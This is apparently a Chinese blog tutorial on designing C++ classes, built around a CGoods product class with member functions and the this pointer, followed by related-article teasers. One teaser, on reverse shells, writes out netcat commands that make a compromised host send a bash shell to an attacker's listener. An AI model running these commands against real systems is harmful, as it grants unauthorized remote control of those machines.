C++ 类的设计

news2024/11/17 1:35:38

一、c++类的设计

        是一种将抽象转换为用户定义类型的 C++工具, 它将数据表示操纵数据的方法组合成一个整洁的包。

语法:

       其中"class类名"称为类头。花括号中的部分称为类体,类体中定义了类成员表。

       在C++中,类是一种数据类型。客观事物是复杂的,要描述它必须从多方面进行,也就是用不同的数据类型来描述不同的方面。如商场中的商品可以这样描述: 

          商品名称(char), 该商品数量(int),该商品单价(float),该商品总价(float)。

class CGoods
{
private:
	char Name[LEN];
	int Amount;
	float Price;
	float Total_value;
};

        关键字class是数据类型说明符,指出下面说明的是类型。标识符CGoods是商品这个类的类型名。花括号中是构成类体的一系列的成员,关键字public是一种访问限定符。访问限定符(access specifier)有3三种: public (公共的) ,private (私有的) 和protected (保护的)。

        public说明的成员能从外部进行访问,private和protect说明的成员不能从外部进行访问。每种说明符可在类体中使用多次。它们的作用域是从该说明符出现开始到下一个说明符之前或类体结束之前结束。
        如果在类体起始点无访问说明符,系统默认定义为私有( private )。访问说明符private (私有
的)和protected (保护的) 体现了类具有封装性( Encapsulation)。

二、成员函数

class CGoods
{
private:
    char Name[21];
    int Amount;
    float Price;
    float Total;
public:
    void RegisterGoods(char[], int, float);            //输入数据
    void GetName(char[]);                                  //读取商品名
    void GetAmount(void);                                 //读取商品数量
    float GetPrice(void);                                     //读取商品单价
    void CountTotal(void);                                  //计算商品总价值
};


 

        类是一种数据类型,定义时系统不为类分配存储空间,所以不能对类的数据成员初始化。类中的任何数据成员也不能使用关键字extern、auto或register限定其存储类型。 

成员函数可以直接使用类定义中的任一成员, 可以处理数据成员,也可调用函数成员。成员函数的定义:
1、前面只对成员函数作了一个声明(函数的原型), 并没有对函数进行定义。
2、函数定义通常在类的说明之后进行,其格式如下:
      回值类型类名::函数名(参数表)

如下为一个商品类型的完整设计:

class CGoods
{
private:
	char Name[LEN];
	int Amount;
	float Price;
	float Total_value;
public:
	void RegisterGoods(const char*, int, float);
	//void RegisterGoods(CGoods* this,const char*, int, float);
	void CountTotal(void);
	//void CountTotal(CGoods* const this);
	void GetName(char*,int);
	int GetAmount(void);
	float GetPrice(void);
	//float GetTotal_value(CGoods* const this)
	float GetTotal_value(void)
	{
		return this->Total_value;
	}

};
//void CGoods::RegisterGoods(CGoods *this,const char*name, int amount, float price)
void CGoods::RegisterGoods(const char*name, int amount, float price)
{
	strcpy_s(this->Name, LEN, name);
	this->Amount = amount;
	this->Price = price;
}
//void CGoods::CountTotal(CGoods*this)
void CGoods::CountTotal(void)
{
	this->Total_value = this->Amount * this->Price;
}
void CGoods::GetName(char*name,int n)
{
	strcpy_s(name,n, Name);
}
int CGoods::GetAmount()
{
	return Amount;
}
float CGoods::GetPrice()
{
	return Price;
}
//float CGoods::GetTotal(CGoods *this)

三、对象的创建与使用

        对象是类的实例 (instance) 。声明一种数据类型只是告诉编译系统该数据类型的构造,并没有预定内存。类只是一个样板(图纸),以此样板可以在内存中开辟出同样结构的实例--对象。

int main()
{
	CGoods tea;
	CGoods book;
	tea.RegisterGoods("black_tea", 12, 560);                    //调用的时候传地址
	//RegisterGoods(&tea,"black_tea", 12, 560);
	tea.CountTotal();
	//CountTotal(&tea);
	book.RegisterGoods("Thinking In C++", 20, 128);
	//RegisterGoods("&book,Thinking In C++", 20, 128);
	book.CountTotal();
	//CountTotal(&book);


	void fun(int a);

	return 0;
}

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1163541.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

玩一下Spring Boot

文章目录 1 开发环境1.1 JDK1.2 IntelliJ IDEA2 Spring Boot2.1 创建项目2.2 创建模板页面2.3 创建控制器2.4 启动项目2.5 访问页面1 开发环境 1.1 JDK 安装JDK21 配置环境变量 在命令行查看JDK版本 玩一玩jshell

win10开机启动软件 ,开机启动文件夹介绍【详解】

文章目录 前言一、开机自启的文件夹(方法一)二、使用【Windows R 】 打开运行窗口(方法二)三、示例总结 前言 发布出来的程序,客户需要开机自启,so 查了一下 一、开机自启的文件夹(方法一&…

深度新闻稿件怎么写?新闻稿怎么写得有深度?

深度新闻稿件,顾名思义,是对新闻事件进行深入挖掘和分析的稿件。它不仅仅是对事件的简单报道,更注重对事件背后的社会现象、原因、影响等方面进行深度剖析,从而使读者能够全面、深入地了解事件。这种稿件要求作者具备较高的新闻敏…

datagrip 使用自定义参数

两种使用方法: 1. 直接打问号❓,执行的时候会问你这个问号填什么 2. 设置参数,执行的时候会问你这个参数填什么 格式:${xxxx} xxxx是你定义的参数名字 SELECT ${column_name} FROM actor WHERE actor_id${actor_id} 执行就会问…

基于Qt QTreeView|QTreeWidget控件使用简单版

头文件解析: 这是一个C++代码文件,定义了一个名为MainWindow的类。以下是对每一句的详细解释: ```cpp #ifndef MAINWINDOW_H #define MAINWINDOW_H ``` 这是一个条件编译指令,用于避免头文件的重复包含。`MAINWINDOW_H`是一个宏定义,用于唯一标识这个头文件。 ```cpp #…

反shell方法

反shell方法 shell 开启回显 python -c “import pty;pty.spawn(‘/bin/bash’)” 方法一 利用nc完成反shell 适用webshell 适用于对方网页有webshell kali先开启nc端口监听 nc -lvvp 监听端口 让对方电脑里的nc一启动就自动连接 /bin/nc -e /bin/bash 自己ip 监听的端口号…

C语言到底算高级程序语言还是低级程序语言?

C语言到底算高级程序语言还是低级程序语言? 高级语言 这里的高级都是相对于汇编语言来说的,是指脱离了计算机的硬件系统,可以按照人的思维逻辑进 行编程的语言 低级语言-般都依赖硬件, 基本换个硬件就得重写,很多人说C语言是低…

二维码智慧门牌管理系统:实现六实数据管理应用,让小区管理更便捷!

文章目录 前言一、引入六实数据管理应用二、人员管理三、房屋管理四、车辆管理五、安防管理六、公共信息管理 前言 在这个科技飞速发展的时代,传统小区管理方式已经无法满足人们对于安全、舒适和便捷的需求。而二维码智慧门牌管理系统作为新时代小区管理的利器&…

如何利用AppScan扫描H5页面,进行安全测试?

前期项目组接触的都是Web安全测试,今天做安全测试的时候,有一个项目刚好有H5页面,用以前那种AppScan内置浏览器的探索方式是不行的,研究了下,可以使用外部设备进行探索。 AppScan有两种手动探索方式,一种是…

AIGC|把Azure Open AI和Jira集成起来,实现智能化项目管理

目录 一、Jira与Azure OpenAI介绍 二、Jira和Azure OpenAI的REST API对接 三、利用Chats插件实现对话的过程 四、总结 一、Jira与Azure OpenAI介绍 Jira是一款由澳大利亚公司Atlassian开发的项目管理工具,主要用于追踪问题、管理需求、构建报告和管理故障等事项…

vsan 7.0.3部署后常见问题

一、数据库版本问题 https://partnerweb.vmware.com/service/vsan/all.json 登录可以访问 Internet 的工作站。在浏览器中打开以下链接: https://partnerweb.vmware.com/service/vsan/all.json (右键单击,另存为)将此文件另存为 all.json。如果无法保存…

vLive虚拟直播2.6.5版本更新,两大新功能让场景展示更丰富!

vLive虚拟直播系统https://live.vsochina.com/cnvLive虚拟直播系统在最新的2.6.5版本中新增优化了两大功能,为用户带来更加丰富多样的场景展示体验。现在,请跟随小编一同了解这些新功能吧! 1.本地模式支持导入自定义2D/3D素材 vLive虚拟直播…

tcp/ip该来的还是得来

1. TCP/IP、Http、Socket的区别 \qquad 区别是:TCP/IP即传输控制/网络协议,也叫作网络通讯协议,它是在网络的使用中的最基本的通信协议。Http是一个简单的请求-响应协议,它通常运行在TCP之上。Socket是对网络中不同主机上的应用进…

vscode如何快速生成想要的vue格式代码

! tab键会生成标准的html格式代码 vue tab键我也想让它生成我想要的格式代码,比方说经常用一些方法,生命周期,或者样式类型(less scss) 文件-> 首选项->配置用户代码片段 (点了之后可能…

康耐视VisionPro+C#程序编写

添加引用,用什么就添加什么 康耐视控件名 代码实现 引用命名空间 using Cognex.VisionPro.PMAlign; 实例化工具及训练区域设置 CogPMAlignTool cogPMAlignTool new CogPMAlignTool(); cogPMAlignTool.InputImage cogImageFileTool.OutputImage as CogImage8…

软文推广没效果?媒介盒子分享软文优化技巧

虽然软文推广能够为企业实现品牌增值,但也有许多企业在推广过程中犯错导致宣传没有效果,今天媒介盒子就来和大家聊聊企业在进行软文推广中的常见问题以及优化技巧。 问题1:内容生硬无法自然融入品牌信息 这也是企业在软文写作中较常出现的问…

ESP32 未来能够取代 STM32吗

今日话题,ESP32 未来能够取代 STM32吗?ESP32和STM32各自有其特点和优势,能否取代彼此取决于具体应用和需求。STM32的流行除了性价比外,还有其强大的开发环境,例如Cubemx能够快速生成代码,使得上手STM32的速…

(2)STM32单片机上位机

使用VX小程序开发上位机, 样式如何创建? 在你所在页面 开辟空间 使用 view 在view 中 输入class 就是样式,在编辑样式的时候,如何寻找哪一块的样式 就是通过这个class寻找的 按钮使用switch

数字孪生特高压电网三维可视化平台实现能源智能管理

电力是现代社会不可或缺的基础能源,而有效管理电力资源对于实现可持续发展至关重要。近年来,随着物联网、大数据、人工智能等技术的快速发展,电网领域的数字化转型已经成为一种趋势。而其中关键的一环便是电网三维数字孪生技术,它…